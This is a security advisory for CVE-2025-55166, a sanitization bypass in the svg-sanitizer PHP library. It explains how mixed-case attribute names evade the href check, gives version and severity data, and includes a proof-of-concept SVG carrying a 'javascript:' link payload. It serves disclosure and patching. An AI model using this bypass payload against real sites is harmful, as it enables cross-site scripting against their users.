GHSA-22WQ-Q86M-83FH

Vulnerability from github – Published: 2025-08-12 20:20 – Updated: 2025-08-12 20:20
VLAI?
Summary
svg-sanitizer Bypasses Attribute Sanitization
Details

Problem

The sanitization logic at https://github.com/darylldoyle/svg-sanitizer/blob/0.21.0/src/Sanitizer.php#L454-L481 only searches for lower-case attribute names (e.g. xlink:href instead of xlink:HrEf), which allows to by-pass the isHrefSafeValue check. As a result this allows cross-site scripting or linking to external domains.

Proof-of-concept

provided by azizk

<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="100" height="100">
  <a xlink:hReF="javascript:alert(document.domain)">
    <rect width="100" height="50" fill="red"></rect>
    <text x="50" y="30" text-anchor="middle" fill="white">Click me</text>
  </a>
</svg>

Credits

The mentioned findings and proof-of-concept example were reported to the TYPO3 Security Team by the external security researcher azizk <medazizknani@gmail.com>.

Severity ?
5.1 (Medium)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "enshrined/svg-sanitize"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.22.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-55166"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-601",
      "CWE-79"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-08-12T20:20:58Z",
    "nvd_published_at": "2025-08-12T17:15:39Z",
    "severity": "MODERATE"
  },
  "details": "#### Problem\n\nThe sanitization logic at https://github.com/darylldoyle/svg-sanitizer/blob/0.21.0/src/Sanitizer.php#L454-L481 only searches for lower-case attribute names (e.g. `xlink:href` instead of `xlink:HrEf`), which allows to by-pass the `isHrefSafeValue` check. As a result this allows cross-site scripting or linking to external domains.\n\n#### Proof-of-concept\n_provided by azizk_\n\n```\n\u003c?xml version=\"1.0\" encoding=\"UTF-8\"?\u003e\n\u003csvg xmlns=\"http://www.w3.org/2000/svg\" xmlns:xlink=\"http://www.w3.org/1999/xlink\" width=\"100\" height=\"100\"\u003e\n  \u003ca xlink:hReF=\"javascript:alert(document.domain)\"\u003e\n    \u003crect width=\"100\" height=\"50\" fill=\"red\"\u003e\u003c/rect\u003e\n    \u003ctext x=\"50\" y=\"30\" text-anchor=\"middle\" fill=\"white\"\u003eClick me\u003c/text\u003e\n  \u003c/a\u003e\n\u003c/svg\u003e\n```\n\n#### Credits\n\nThe mentioned findings and proof-of-concept example were reported to the TYPO3 Security Team by the external security researcher `azizk \u003cmedazizknani@gmail.com\u003e`.",
  "id": "GHSA-22wq-q86m-83fh",
  "modified": "2025-08-12T20:20:59Z",
  "published": "2025-08-12T20:20:58Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/darylldoyle/svg-sanitizer/security/advisories/GHSA-22wq-q86m-83fh"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-55166"
    },
    {
      "type": "WEB",
      "url": "https://github.com/darylldoyle/svg-sanitizer/commit/0afa95ea74be155a7bcd6c6fb60c276c39984500"
    },
    {
      "type": "WEB",
      "url": "https://github.com/darylldoyle/svg-sanitizer/commit/5a0a1eaf0c6b0b540dc945fe30c93cf106b357c1"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/darylldoyle/svg-sanitizer"
    },
    {
      "type": "WEB",
      "url": "https://github.com/darylldoyle/svg-sanitizer/blob/0.21.0/src/Sanitizer.php#L454-L481"
    },
    {
      "type": "WEB",
      "url": "https://github.com/darylldoyle/svg-sanitizer/releases/tag/0.22.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "svg-sanitizer Bypasses Attribute Sanitization"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.




Sightings

Author Source Type Date

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.



Detection rules are retrieved from Rulezet.